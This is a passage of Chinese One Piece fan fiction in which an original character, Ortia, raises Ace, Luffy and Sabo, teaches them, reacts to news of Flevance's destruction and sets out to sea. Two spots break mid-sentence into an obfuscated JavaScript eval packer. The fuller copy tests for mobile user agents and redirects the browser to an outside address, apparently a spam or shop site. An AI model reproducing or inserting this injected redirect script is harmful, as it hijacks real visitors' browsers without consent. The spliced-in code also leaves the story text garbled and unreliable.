“啊嘞?哈哈哈已经到问这个问题的年纪了吗？呐，有一天，我去城里买东西，买了好多，老人家板就送给了我一个孩子呢！” 说着，她还往装着路飞的小竹篓里放了两瓶牛奶，“真是有活力啊艾斯，要多喝牛奶快点长高高哦！” “阿里嘎多！老太婆，请你再帮我写一下冒险日志吧，就在这里写上夏维大叔是买东西送的。” 真·亲生儿子夏维爆出鲨鱼齿：“喂！给我用敬语叫波比婆婆啊，臭小鬼！小心我去跟奥西娅医生告状！” …… “玛琪诺，你知道小孩子是怎么来的吗?” “唉?啊、啊嘞！那个，大概是送子鸟送的吧……等一下，艾斯，这是我刚做的草莓蛋糕，你拿去吃啦。” “哦，阿里嘎多！还有，玛琪诺你的脸好红啊，是走路把脸摔在地上了吗？” 玛琪诺脸更红了：“艾斯！！” 艾斯背着路飞溜得飞快。 …… “培恩大叔，你是怎么来的?” “噗——！小鬼你才多大啊，打听这种事也太早了吧！去去去，一边玩去！” “我才不是小鬼，我已经三岁了！” “哈哈哈三岁的臭小鬼……嗷！艾斯，你居然敢踩我的脚，我一定会去跟奥西娅桑告状的！” “桥豆麻袋！先别跑！我刚从树林里捡回来的栗子，接着！” …… “维斯大伯，你是怎么来的?” “……啊?我老爸告诉我，我是他从嘎扯窝里孵出来的。”维斯挠挠脸，迟疑：“这么回答应该没什么问题吧？” “呐呐，我刚雕的木头小匕首，送给你！谢谢你昨天帮我搬木材哦，艾斯。” “……烦、烦死啦！只是一点小忙而已！我根本就没放在心上！” “哈哈哈艾斯你可真是别扭啊！” …… “哈比爷爷，你知道我跟路飞是怎么来的吗?” 耳背的哈比：“啥——?谁跟谁是什么来的——?” 艾斯使劲儿大喊：“我——和——路——飞——” “你和路飞?你俩怎么了——?” “我——们——俩——是——怎——么——来——的——” “哦，是卡普中将把你们一家子送来的——” “搜嘎！原来臭老头他是送子鸟啊！” …… 太阳落山前两个孩子回到家里，艾斯把冒险的答案告诉了奥西娅…… “老妈，原来臭老头他是送子鸟啊！他会从垃圾堆里捡到很多孩子蛋，东西买多的时候老板也会送他孩子蛋！” “然后他把这些孩子蛋夹在嘎扯窝里孵出来，等小孩从蛋里孵出来以后，臭老头就会把他们送给那些想要孩子的人！” 小路飞虽然什么都听不懂，但并不妨碍他十分给面子地为哥哥鼓掌，笑得特别灿烂……看上去，好像真的不是很“聪明”的样子。 奥西娅：“……” 她都被艾斯说的脑海里有画面了，卡普桑用嘎扯窝儿孵蛋什么的…… 艾斯把路飞从小竹篓里抱出来，然后把小竹篓倒过来控了控，掉出一堆小零食小玩具。 夕阳照在他的脸上，小雀斑在光影里跳跃：“老妈看！我还拿到了好多宝藏！” (四) 艾斯五岁那年，路飞两岁。 两岁的小孩子跑起来还是跌跌撞撞的，却每天都要跟在哥哥身后，脸上带着大大的笑容。 艾斯正是一点都不肯闲下来的年纪，没耐心成天陪着路都走不稳的弟弟，往往哄他了一会儿就要跑出去自己撒欢儿。 路飞还跌跌撞撞地追在他身后：“艾斯——艾斯——等等我——！” 艾斯跑地更快了。 奥西娅哭笑不得，把快要跌倒小路飞抱进怀里，“呐，我陪你玩不好吗？” 路飞皱着可怜兮兮的小脸：“妈咪，我想跟艾斯一起玩嘛！” ……啊，好可爱！软乎乎的路宝！！ “路飞乖，等下哥哥就回来了哦，而且他每次回来不是都会给你带礼物吗？” 艾斯每次甩开路飞回来后，就要直面路飞的小垮批脸，嘴角下拉，像只大虾……还是那种一直跟在他身后一直瘪着嘴不说话的大虾。 艾斯：……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾斯不但把自己弄得脏兮兮的，身上还有些伤口，奥西娅看见他那副样子的时候心都要跳出嗓子眼了。 这倒霉孩子看到海蓝色蝴蝶的时候就知道老妈找来了，嬉皮笑脸地拉着一个跟他差不多高的孩子兴冲冲地跑向奥西娅，“老妈！我能带萨博一起回家吗！” 被他拉着的那孩子一副贵族小孩的打扮，头戴挂有防风镜的大礼帽，金色短发，朝奥西娅笑的时候嘴边缺了一颗牙。 “……” 奥西娅能说自己居然完全不意外吗？ 自从养了艾斯和路飞两个孩子，她就莫名有一种自己绝对不会错过萨博的预感。 果不其然…… 艾斯熟练地绕着自己老妈转圈撒娇：“老妈！萨博现在没地方去了，可以去我们家吧?可以吧可以吧可以吧可以吧……” “……” 奥西娅按住自家的小兔崽子，拉着他上下左右看了一圈，确定没什么大伤后，才终于松了一口气。 松完这口气又觉得有些头痛，凭这几年跟自家臭小子斗智斗勇的经验，她敢打包票，艾斯看起来这么激动，绝对不单单是因为自己多了个兄弟…… 他肯定在偷偷高兴终于来了个可以跟自己一起分担学习压力的倒霉蛋。 自从艾斯拥有了冒险日志后就决定跟奥西娅学习写字。 奥西娅她想了想，干脆把文化课都给艾斯安排上了。 文化课，包括学写字，不只限于学写字，每天都要学满两个小时。 艾斯每天学得想死。 即便他足够聪明，大多数东西都是一学就会，但让他两个小时里都只能把屁股贴在板凳上看书写字听老妈讲那些让人想睡觉的知识……短短两年，艾斯就已经完全明白了什么叫做厌学情绪、什么叫做板凳上长针。 学的人和教的人双方都很痛苦。 但奥西娅坚决不肯放弃！ 首先，她的好大儿绝对不能成为绝望文盲！ 其次，就凭艾斯那个对什么都好奇、什么都想着尝试一下的生活作风，她觉得自己还是得多教给小孩一点可以保命的手段，不求他能多么精通，只求能在他想要作死的时候可以保护好自己。 在艾斯的小伙伴面前，奥西娅很给孩子留面子，没直接扒了他的裤子打屁股，只是曲起手指弹了弹他的脑门：“臭小子，这么晚都不回家，我还没找你算账呢！明天的课程多加半个小时！” “哎——那萨博来了，我可以让他跟我一起上课吗?两个人的话，一人学一个小时十五分钟就行了吧?” 奥西娅有些无语，她果然没猜错这个臭小子的脑回路，“……我教你算术，不是让你用在这种地方的。” 奥西娅弯腰看向另一个孩子，眉眼含笑，把声音放得柔和：“艾斯说你叫萨博对吗，要不要跟我们一起回家呢，萨博?” 唉——? 萨博眨眨眼睛，有些反应不过来……“可、可以吗?” 不等奥西娅再次点头，艾斯就哥俩好地勾着对方的脖子大步往家冲：“当然可以了！我就说我老妈她人超好的！” “等、等一下，艾斯！我要喘不上气了……” (五) 萨博跟艾斯认识了两、三个月，期间没少听他提起自己的老妈，听描述是一个温柔又严厉的人，他也脑补过对方的形象。 但真当见到本人的时候，萨博不由有些局促，毕竟他难得找到一个小伙伴，也知道这个小伙伴有多喜欢他的老妈，所以萨博还挺担心奥西娅会不喜欢自己的。 但在他说完自己的情况后，对方完全没表现出任何排斥的样子，反而伸手揉了揉他的脑袋。 萨博感觉自己的脸蛋有些发烫。 亲生父母很少对他做这样亲昵温情的动作。 萨博虽然只有五岁，但他是个很有自己想法、也具备行动力的孩子，在发现自己的贵族父母在意的只是地位和财产，而不是自己后，便选择了离家出走。 离家后，他一溜烟跑到了城外，在不确定之物的终点站那块混着，从垃圾堆里找有价值的东西淘金换钱赖以为生。 不确定之物的终点站那边不只有各种稀奇古怪的“垃圾”，也是被城镇驱逐流放的流氓们的聚集地，他很努力地在那个地方活下去。 混了差不多一、两个月，他碰到了第一次来这边来冒险(撒欢)的艾斯。 小雀斑男孩的脸上扬起跟垃圾场这边完全不合群的灿烂笑容，举着手里的笔记本，问他要不要跟自己一起去冒险? …… 萨博洗干净澡，跟艾斯、路飞一起躺进温暖、柔软还带着太阳晒过后味道的被子里，感觉今天发生的一切都不可思议。 后来，萨博就跟艾斯他们一起生活，这样的日子每天都很开心，奥西娅小姐就像艾斯描述的那样，是一位温柔又严厉的母亲。 大多数时候她都不会拘束他们活动，只是明令禁止他们在没有自保能力以前不许去不确定之物的终点站那里乱玩。 “哎——?” 艾斯第一个跳出来不同意：“可是老妈，我跟萨博还要去那里为以后的出海冒险积累资金呢！” “……出海冒险?” “嗯！我和萨博决定了，要一起当海贼，然后在大海上自由自在地冒险！” 奥西娅：“……” 上个月，这倒霉孩子见村里有老人用竹条编斗笠，他跟着学了两手，嚷嚷着要当全世界第一厉害的编斗笠大师。 上上个月，他从外面往家里移植了一把子狗尾巴草，每天都浇水，好悬没给人家泡死，看上去是养活了，他就吵吵着说自己以后一定是天下第一强的园艺大家。 维斯送他小木雕匕首以后，他还说过自己以后要当个仗“匕”走天涯的侠客。 去年冬天，她给俩孩子讲了武松打虎的故事，他还说要当武松，等他练成了绝世神功，就把敢来伤害老妈和路飞的老虎都嗷嗷打死。 “……” 虽然奥西娅也不知道风车村里哪来的老虎。 但现在，他又说要出海当海贼……虽然动漫里的艾斯确实在十七岁的时候出海当了海贼吧……但这一次，奥西娅还真不敢打包票他想当海贼的梦想能坚持几天。 不过这也没什么，小小少年郎，不怕梦想多，就怕没梦想。 一旁堆积木的路飞听见哥哥们的话，眼睛亮晶晶的：“路飞也要当海贼！” 奥西娅失笑，弯腰去轻捏他的小脸蛋，“你知道什么是海贼嘛你就要当?” 路飞举着小拳头抗议：“我就要当海贼！还要当最厉害的海贼！” 萨博在不确定之物的终点站待的时间最长，对外面世界的了解要比自小生活在平静风车村里的艾斯和路飞知道的多得多。 他看奥西娅对他们要当海贼的事情没什么反感的样子，露出缺牙巴的笑容，哄路飞：“最厉害的海贼啊，那路飞是要成为海贼王吗？” “海贼王?嗯……嗯呢！路飞是男子汉，要当最厉害的海贼，路飞是要成为海贼王的男人！” “切。”艾斯故意逗他：“我是哥哥，要当海贼王也是我先当！” “才不是！是路飞！成为海贼王的是路飞！” “不要欺负路飞啊，艾斯。” “喂，萨博，你太宠这家伙了吧！” 看着三个小家伙又闹成一团，奥西娅才缓过神来，真恐怖啊……没想到有生之年居然能听到艾斯说自己要当海贼王这种话。 当然，三个小家伙嚷嚷着要当海贼的时候被回来探亲的卡普听见了，然后用爱的铁拳揍到满头包这种事就不细讲了。 奥西娅倒也从来都不拦着，总不能不让孩子们的爷爷跟他们交流感情吧? “你们三个，老夫有没有说过，你们是要成为最强海军的！” “才不要！”×3 “臭老头，谁要当海军啊！” “可恶！居然敢称呼亲爱的爷爷为臭老头，真是不可饶恕啊艾斯！爱的铁拳！！！” 卡普桑，老当益壮，一拳仨包。 …… 虽然卡普桑的拳头捶人真的很疼，但这样的生活真的很幸福，幸福到萨博很自然地就跟着艾斯和路飞开始一起喊奥西娅“妈妈”。 第一次把“妈妈”两个字喊出口的时候，萨博非常手足无措，他紧张地看向奥西娅，却对上了她惊喜中又满含慈爱的眼睛。 “……” 萨博拉拉帽檐，遮住自己涨红的面颊，嘴角控制不住地上扬。 晚上，艾斯和路飞都睡着了，萨博却久久不能入眠。 房门传来“吱呀——”的轻响，是奥西娅半夜来看看他们有没有踢被子，或者睡姿太差把自己滚到床底下去。 她把艾斯蹬掉的被子捡起来，用一个小被角盖住了他的小肚子，奥西娅固执地认为睡觉不盖肚子就会肚子痛。 又把快要滚到地上去的路飞抱回了他的小床中央。 最后，奥西娅坐到萨博床边，伸手摸摸他的额头，小声问：“怎么还不睡呢，萨博?” “……您也把我当做自己的孩子吗？” 纠结了好久，萨博还是问出了这个困扰他很久的问题。 听到这个问题，奥西娅哑然失笑，俯身亲了亲他的额头，“我以为在你答应跟我们一起回家的时候就已经是了呢。” 她给眼睛笑弯成两道小月牙的孩子掖了掖被子。 “晚安，我的乖孩子。” “晚安……奥、妈妈。” 不确定之物的终点站是个很神奇的地方，那里是废弃之物的集中地，却充满了不确定性。 萨博在哪里捡到了不可思议的家人，迎来了崭新的起点，未来是未知的，他们都有无限可能。 3. 第 3 章 (一) 路飞快要三岁了，等到下个春天，他就要跟着两个哥哥一起上文化课了。 早两年，奥西娅还会把唐诗宋词安排进孩子们的课程里，幻想着没准儿能在OP世界里培养出个海上李白…… 她在秋天的时候收集了许多鸟类褪掉的细软绒毛，煮沸杀菌后又在太阳底下晒得蓬蓬松松，给三个孩子每人各缝了两件羽绒服。 大雪纷飞的冬日里，院子里的枇杷树上正开着今年第二茬的枇杷花，白色的雪和米黄色的枇杷花交织在一起，树下是穿着羽绒服的路飞和萨博在堆雪人……远远瞧着，像是在雪地里滚来滚去的两颗小汤圆。 趁着屋外下雪，奥西娅很应景地跟艾斯讲起了《世说新语·咏雪》，“谢安在下大雪的时候把孩子们聚在一起讲解诗文，问道，白雪纷纷何所似?” “这纷纷扬扬的白雪像什么呢?” “他的侄子胡儿说，撒盐空中差可拟。” “认为外面的大雪跟往空中撒了把盐差不多。” “但他的侄女谢道韫却说，未若柳絮因风起。” “大意就是，不如把这漫天的雪花比作风把柳絮吹得满天飞舞吧。” “艾斯你看，咱们家这场雪，是不是也很像春日时的柳絮纷……艾斯?艾斯！！不要一提诗词就睡觉啊！！！” “唉?” 艾斯懵懵地揉揉眼睛，不等他说点什么来狡辩，一个雪球就从窗外飞了进来，“啪”的一下打在他脸上，正中红心。 窗外传来萨博和路飞嘎嘎嘎的大笑声。 艾斯：“……” 艾斯抹掉脸上的雪沫，鲨鱼齿：“你们两个臭小子给我等着！” “唔！路飞快跑，艾斯他要过来了！” “哈哈哈萨博打的真准啊！” “……这种时候就不用强调是我打中的了，路飞。” 上一秒，奥西娅：“艾斯！走正门，不准翻窗！！” 下一秒，艾斯撑着窗台一下子翻了出去。 奥西娅：“……” 算了。 …… 开春，偷得半日闲的奥西娅带着三个孩子去河边钓鱼，钓到的鱼一半上了当晚的餐桌，一半被养在水缸里当储备粮。 路飞向来见不得有他没能吃进嘴里的肉，一天三遍站在小板凳上扒着缸沿儿，用树枝划啦着缸里的水，带着脆嫩绿色的枝梢追着里头的鱼跑，撵上谁今晚就炖谁。 奥西娅领着艾斯和萨博在院里垦出一块小菜地，用来给家里的孩子们种菜吃，保证荤素营养合理搭配。 清明前后，种瓜点豆。 虽然OP世界里不过清明节，但豆还是要点的。 艾斯在前头拿着一个小铲子，一铲一个小坑。奥西娅跟在他身后，把两、三粒豆种撒到小坑里。跟在奥西娅后头的萨博再把撒了豆子的小坑给埋上土。 完美的流水线作业。 路飞看到妈妈哥哥们都忙着种豆，把手里的树枝一扔，就颠颠跑过去帮忙——看似帮忙，实则添乱。 但他们都不嫌小儿子/弟弟添乱，一家四口慢悠悠地种着豆，听着奥西娅絮絮叨叨地讲着那些跟豆子有关的故事…… 春日的阳光里带着融融的暖意，倾洒在挂着青黄色枇杷果的枝桠上、倾洒在泛着新绿的那簇狗尾巴草的草尖尖上、倾洒在母子四人的身上。 在培养“海上李白”这个幻想上，奥西娅可以说是屡败屡战…… “以前有个诗人，名字叫陶渊明，他也在春天种过豆……” 艾斯：“ zzZZ……” “……” 奥西娅是真心佩服艾斯，这孩子是怎么做到能一边睡觉一边挖坑种豆子的？ 面无表情地在心底把大儿子彻底踢出“海上李白”的培养计划，她满怀希望地把期望放在剩下的两个儿子身上，继续讲道：“陶渊明他写过一首诗，名字叫《归田园居》，种豆南山下，草盛豆苗稀……” 路飞举起沾满泥巴的小手：“妈咪，这是什么意思?路飞听不懂。” “就是陶渊明在南山下种豆，豆田里草长得很茂盛，豆苗长得不太好。” 路飞“啊”了一声，十分真诚地给出建议：“妈咪，他不会种豆就让他别种啦。” 奥西娅：“……” 萨博捂住嘴巴：“扑哧~” 不能笑，妈妈的脸都青了。 屡战屡败的奥西娅终于明白了一个道理，山猪吃不了细糠，大海贼时代养不出李白。 收拾好自己碎的稀烂的满腔诗情画意，奥西娅转而给们讲起了“撒豆成兵”的神话故事。 艾斯秒醒，三个孩子一起双眼放光：“斯国一——！” 月见：“……” 算了。 对于月见来说，讲神话故事就跳不过《西游记》，于是齐天大圣一举越过海贼王，成为了仨小孩儿心里头号想要成为的人……猴。 (二) 从艾斯五岁那年说出“我要成为海贼王”这句话起，奥西娅延长了她自己每天的修炼时间……为后面的出海计划做准备，提升武力值。 她从没想过要对艾斯一直隐瞒他的身世，等他懂事了，奥西娅就会把一切都告诉他。 告诉他，那位把他当做珍宝的母亲，以及告诉他……他的另一个血脉提供者，海贼王哥尔·D·罗杰。 奥西娅切实地跟露玖一起生活过，关于露玖是个什么样的人……等时机到了，她能跟艾斯聊个三天三夜。 但海贼王哥尔·D·罗杰是个怎样的人? 拥有名声、财富、力量，曾经拥有整个世界的男人，海贼王哥尔·D·罗杰临死前说道，“想要我的财宝吗?想要的话可以都给你，去找吧，我把所有的财富都放在那里了！” 这句话让人们趋之若鹜奔向大海，为了争夺“One Piece”，海贼们极力争夺、树立霸权，形成了“大海贼时代”。 当初追漫时，因为拥有上帝视角，所以奥西娅对罗杰抱有极高的好感度。 他从伟大航路的终点知晓了空白一百年的历史真相，知晓了“D之一族”存在的意义，也清楚了世界政府痛恨惧怕他的原因，大笑着把最终之岛命名为“拉夫德鲁”。 这个世界沉默于天龙人的压迫太久，已经变得麻木，是罗杰用自己的生命打破了这潭死水，让这片大海重新沸腾起来。 让这片大海成为筛选胜利者的大浪，让那些财宝成为胜利者的嘉奖，让那些胜利者将钳制人类自由和梦想的家伙们埋葬。 曾经，作为一个看客，奥西娅可以事不关己高高挂起地认为罗杰死前做的一切都是值得的。 大海贼时代为后来的海贼们铺出了一条路。 但从这条路走出来的，不仅仅有香克斯、路飞他们那样的海贼，或者说，他们那样不像海贼的海贼才是百里挑一。 更多的，是字面意义上的、真正的海贼……他们烧杀抢掠、欺凌弱小，剥夺了那些本就痛苦麻木的人们活着的权利。 奥西娅知道，在巨大的历史变革面前，流血和牺牲都是无法避免的……但有一天，她真实地来到了这里。 她看到了跟动漫所展现出来的，除海贼、海军、革命军他们的热血剧情之外的那些东西……普通人的眼泪、普通人的鲜血。 罗杰他开启的……真的是一个好时代吗？ 很显然，不能说这是一个好时代，因为人们的血泪是那样的滚烫。 但这又是一个必须存在的时代，这是一个无法避免的时代。 没有谁的统治能屹立不倒，历史的车轮滚滚向前，解放和自由的鼓点是不会因为压迫者的扼制而停止响动的。 但奥西娅也无法对那些因为这个时代的到来而流下血泪的普通人视而不见。 这个时代，痛苦与机遇并存，麻木与反抗同歌。 罗杰为什么宁愿豁出性命、甚至“抛妻弃子”也要开启这个混乱的、痛苦的“大海贼时代”？ 他在最终之岛，究竟看到了什么? 所谓连成一片的大秘宝“One Piece”到底意味着什么？ 是要把红土大陆炸了拿来填海造陆把世界连成一片吗? 一手开创这个时代的人，海贼王哥尔·D·罗杰究竟是个什么样的人? 世界政府说他是穷凶极恶的世界级大罪犯。 有的海贼对他狂热的推崇，有的海贼对他极尽的诅咒，他们泄愤地认为，如果海贼王有血脉留存于世，那就应该被“斩首”、被“世界上所有怨恨罗杰的人用针刺死”、被“活活烧死，让那孩子死前的样子成为全世界的笑柄”…… 所以，动漫里的艾斯才会在很小的时候就问出那句“我的出生真的是一件好事吗？” 他一直都是一个心思细腻敏感的孩子。 海贼王哥尔·D·罗杰作为时代的开创者，他或许是伟大的或许是罪恶的，但那些并不是艾斯必须承担的罪孽。 父亲只是他生命中的一部分，他没有选择权却有知情权，他有在知晓一切真相后自由做出选择的权利。 关于真实的罗杰到底是个什么样的人这个问题，不需要那群根本没接触过罗杰、连伟大航路都没去过、只会把自己的无能发泄在别人身上的海贼们去跟艾斯胡说八道。 真正有资格跟艾斯讲这些的，至少应该是真正接触过罗杰的人。 他的船员、他的挚友、他的宿敌……奥西娅决定带艾斯出海去寻找他们，寻找那些真正可以给出问题答案的人们。 海贼王哥尔·D·罗杰，他是个什么样的人? 等艾斯找到这个问题的答案后，奥西娅会把身世的真相告诉他。 (三) 虽然打算带孩子们出海，但不是第一次就要一起去。 奥西娅自己还是个航海半吊子，哪敢第一次就着带他们去闯伟大航路? 她打算趁着第一次出海去踩踩点、熟悉一下航海方式，然后检验一下自己的武力值够不够在伟大航路保护好三个孩子。 当然，奥西娅不仅自己努力，也十分重视三个孩子的训练，教导他们只有自身实力强大才是真正的强大，意图依靠外物来获得强大力量的想法是不可取的。 她本意是想让他们以后不要过于依赖果实能力而放松对霸气的修炼。 但…… “今天妈妈要教给你们蜀山剑法！” “唉?不要。”×3 奥西娅：? “……为什么？” 完全不会撒谎的三个孩子把眼睛和小嘴齐齐撇向一边，小手竖在面前摆来摆去，“老妈你不是说依靠外物来获得强大力量的想法是不可取的吗?” 奥西娅：“……” 那你们倒是先把手里的“如意金箍棒”给丢掉啊！ 三个孩子对剑这种武器没什么兴趣，但奥西娅还想再抢救一下，于是给他们表演了御剑飞行……他们果然上钩了。 但在后面的训练里，一把好好的剑让他们三个抡成了大棒不说，而且三个人里没一个可以做到引气入体。 做不到引气入体就无法修炼法力，修炼不出法力就没办法御剑飞行，他们三个很快就对学剑失去了兴趣，又开始整日里拎着被他们刷成金箍棒配色的破水管满村子的猴蹿儿。 奥西娅：“……” “算了”这两个字她都快说倦了。 她还曾怀着渺茫的希望教导过他们五行八卦和奇门遁甲，结果嘛…… 结果就是，奥西娅明白了儿孙自有儿孙福，不教儿孙她享福。 她已经学会了安慰自己……可能是因为两个世界的力量不能兼容吧！ 但好在在医毒方面，几个孩子现在学的还算不错。 还记得那是某日雨后，艾斯和萨博第一次带路飞到戈尔波山上去采蘑菇，然后没多久他俩就抬着蘑菇中毒、口吐白沫的路飞急匆匆赶了回来。 把当时的奥西娅惊得是目瞪口呆，血压直往脑门上蹿儿。 但现在，他们已经可以在路飞又双叒叕吃掉什么奇怪东西后，面不改色地帮弟弟催吐，然后在附近找出药性相克的草药塞进弟弟的嘴里。 进步神速，可喜可贺……要是路飞没有把戈尔波山上不能吃的东西差不多都尝了个遍儿就更好了。 奥西娅都快要被路飞这种三天两头就要来次“食物中毒”的行为吓得精神衰弱了，还特意询问过他是不是想学神农氏尝百草? 艾斯和萨博的医术纯纯是让他逼出来的。 (四) 既然决定要出海，就不能对海上的事情闭目塞耳。 奥西娅每天都会去风车村的港口找新闻鸟买报纸，她还带了自家晒的小鱼干喂给它们，新闻鸟亲昵地蹭了蹭她的手指。 感受了一把喂不流氓版本海鸥的快乐，奥西娅打开报纸看了起来，在看到这期的头版标题时不由一怔——“白色城镇”弗雷凡斯的传染病? 开头第一句话就是“白色城镇”弗雷凡斯患上了传染病“珀铅病”。 上面说北海的国家弗雷凡斯可以出产一种特别的矿石珀铅，洁白无瑕、上乘且稀有，所以这个国家又被称为“白色城镇”。 但这种美丽珍贵的矿石却是有毒的，长期接触会使人患上一种叫“珀铅病”的传染病。患有这种传染病的人，皮肤和头发会逐渐变成白色，最后死亡，药石无医。 为了防止“珀铅病”外传，这个国家被周边的国家联手封锁，并且出兵将其国民全部射杀。 长期接触矿产而导致患上了无法被医治的疾病吗？ 奥西娅想到了上上辈子的重金属中毒，但重金属中毒是不会传染的……所以，弗雷凡斯的灭亡，真的是因为所谓的“传染病”吗? 报纸被她攥得发皱，奥哈拉的灭亡、巴苔里拉的屠杀……桩桩件件类似的事情，世界政府做的还少吗？ 这一次，他们灭掉弗雷凡斯的真相又是什么？ 是为了瓜分“珀铅”的利益，还是跟奥哈拉一样……为了掩盖某种秘密? …… 艾斯是个心思细腻的孩子，萨博也足够细心，俩孩子从奥西娅从港口回来后就察觉到了老妈/妈妈的心情似乎不是很好，虽然她面上一如往常的挂着笑。 不过那种笑只能骗骗小傻子路飞。 夜色渐深，艾斯和萨博都没睡着，给路飞盖上被他蹬掉的被子，两人就打算去找奥西娅问问清楚。 院子里，月光皎洁如水，他们要找的那个人正坐在枇杷树下的秋千上，仰头望着天上的星星。 树上的枇杷已经熟了，挂满了枝桠，像是撑起了一把金色的巨大伞盖。 “老妈/妈妈！” 奥西娅闻声看过去，朝他们两个招手，“你们两个怎么还不睡?” 艾斯和萨博朝她跑过去，一左一右扑到她膝盖上，“老妈/妈妈你自己不也没睡！” 奥西娅笑了下，把他们抱到自己腿上坐好，足尖点着地面，让秋千带着她们三个轻晃。 “啪嗒”一声，一条胖乎乎的小鱼从水缸的水面一跃而出，又落回了水里。 那是今年开春那会儿养在缸里的储备粮们的后代。它们的父母已经进了一家四口的肚子，只剩下这群小鱼苗被当做二代储备粮留了下来。 因为是可以养大后吃掉的食物，路飞对它们抱有十二万分的热情，每天都拿着小铲子出门挖蚯蚓，让奥西娅帮他做成鱼食喂小鱼。 他把小鱼们喂的圆滚滚的，有时候还会撑的飘在水面上游都游不动，路飞就扒着缸沿儿看着、盼着，流下期待的口水。 忽而刮起一阵风，吹得墙上的凌霄掀起来一阵波纹，乱飘丹粉染晴霞……那样灿烂的颜色像极了某人耳边簪着的扶桑花。 奥西娅的声音放的很轻很轻，差点就被那阵风给吹散了，“我有一个很美好很美好的姐姐，我的名字就是她起的。” “奥西娅。” 【是什么意思?】 “她说这个名字象征着月亮的守护和希望。” 【Ortia，奥西娅，象征着月亮的守护和希望。】 “我很想她。” 她没再继续往下说。 艾斯：“要是想她的话，咱们可以去登门拜访。” 他是个在爱里长大的小孩，生死的问题离他还太远，在他的认知里，想做什么就去做、思念哪个人就去找，这是一件很容易的事情。 萨博好奇：“妈妈，是发生什么事情了吗？” “嗯。” 奥西娅轻轻叹出一口气，把今早报纸的内容告诉了他们。 两个孩子反应不一。 艾斯不理解：“得了那个病就必须得死吗?生病的话，不应该想办法给他们治病吗?” 萨博皱着眉头思考：“铂铅病真的会传染吗?” “……” 对于艾斯的问题，奥西娅并不意外，她家大儿子本来就是一个非常仁义的人。 倒是萨博这孩子相当敏锐啊……这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097911|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够一眼看到问题本质的思维方式，长大后没准儿是个从政的好苗子。 不过，现在考虑这些还为时尚早，他们现在只是两个六岁的小萝卜头而已。 奥西娅垂眸跟两个孩子对视，月光照在她长而卷翘的睫毛上，倾洒下稀碎的光影。 她浅笑着鼓励他们，“你们的问题都是很好的问题……不过妈妈也没办法给出准确的答案，只能由你们自己去寻找了。” “搜嘎，那就又是一场冒险啊！” “对呀，又是一场了不起的冒险呢。” 几年下来，奥西娅在孩子的教育问题上也不是全无长进，比起从前总担心自己在孩子面前表现的“不够厉害”，现在的她似乎放松了不少，不再让自己是“无所不能的”。 比起什么都掰开了揉碎了告诉他们那个也不一定绝对正确的结果，比起什么都代替他们去处理好……或许放他们自己尝试着去触碰这个世界才更好……吧？ 养儿方知父母恩。 当母亲以前，奥西娅觉得无微不至地照顾好一个孩子可真难。但等她真当了母亲才知道，比起把一个孩子照顾好，学会放手才是最难的……在这件事情上，奥西娅其实做的不够好。 她太过紧张他们了。 即便艾斯和萨博皮实的很，也已经有了一定的自保能力，但她还是不放心放他们去不确定之物的终点站那边。 有时间她会想，不就是出海冒险的启动资金嘛，她帮他们准备好不就行了？干嘛让孩子们那么辛苦去自己收集呢？ 但她怎么能去干涉年轻人的冒险呢？ 奥西娅一直努力克制着自己，这次出海也是一次尝试……一次让自己学着放手、让孩子们学会独立生活的尝试。 当然，这个独立是相对的，她打算把孩子们暂时托付给达旦一家。毕竟原作里的三个小家伙儿就是受达旦照顾的，相信这一次达旦也能把他们照顾好。 她也会拜托玛琪诺时不时去山上关照一下，看看他们的衣服够不够穿、饮食上有没有荤素搭配、牛奶有没有按时喝? 不管是买衣服的钱，还是买蔬菜瓜果豆肉鱼奶蛋米粮油的钱她都会一式两份留给达旦和玛琪诺。 “……” 可恶，她果然还是学不会完全放手啊！ (五) 奥西娅出海的那天是一个晴朗的好天气，风车村的村民都闹哄哄地前来送行，村长承诺道：“艾斯他们三个你就放心吧，村里的大家都会看顾他们的。” 奥西娅心里暖融融的，“那就拜托大家啦！” “您太客气了奥西娅小姐，大家生病受伤的时候都是多亏了您照顾，现在终于有了能帮得上忙的地方，我们高兴还来不及呢！” “我们都会尽心尽力的！” 玛琪诺朝她俏皮地眨眨眼睛：“放心吧，奥西娅！记得给我带外面的好酒回来哦~” 奥西娅失笑：“我一定会的。” 寒暄完，她把视线看向三个孩子…… 艾斯和萨博心里一万个不想让奥西娅离开，但他们都是很懂事的那种孩子，不想让老妈/妈妈为难，只好强忍着眼泪送她走。 倒是路飞，脸上挂着大大的笑容，离别的伤感一点都没能影响到他。 ……没想到他们家平时最爱撒娇的孩子反而是最独立的那个！ 奥西娅蹲下来跟他们三个平视，“咱们来做个约定吧！” “你们说，想要成为海贼，在大海上自由自在地冒险。” “但就像每一场冒险都有它的目的地一样，你们成为海贼、一次又一次的冒险又是为了什么呢？” “是为了One Piece，还是为了别的?” 路飞举着小拳头大喊：“我要找到One Piece，成为海贼王！” “嗨、嗨、嗨~但路飞为什么要成为海贼王呢？” 路飞歪头：? 奥西娅失笑，他现在还太小，才刚刚三岁，嘴上说要成为海贼王什么的……大多是在学两个哥哥，对于“海贼王”这三个字到底意味着什么，其实一点都不明白。 既然两个哥哥想当海贼，那他就要当海贼里的老大……现在的小路飞大概是这么想的。 明明是三个孩子里年纪最小的、平日里最爱撒娇的那个，但偏偏有一颗一定要当老大的心。 “……” 艾斯和萨博也没能给出答案。 “没关系的。”奥西娅张开双臂把他们三个都抱进怀里，挨个抵着额头蹭了蹭，“现在你们还小，还有很多很多的时间可以去慢慢思考、慢慢寻找。” “等我航行回来的时候，我就陪你们出海去寻找这个答案……在此之前，你们可要认真训练，努力变强哦。” …… 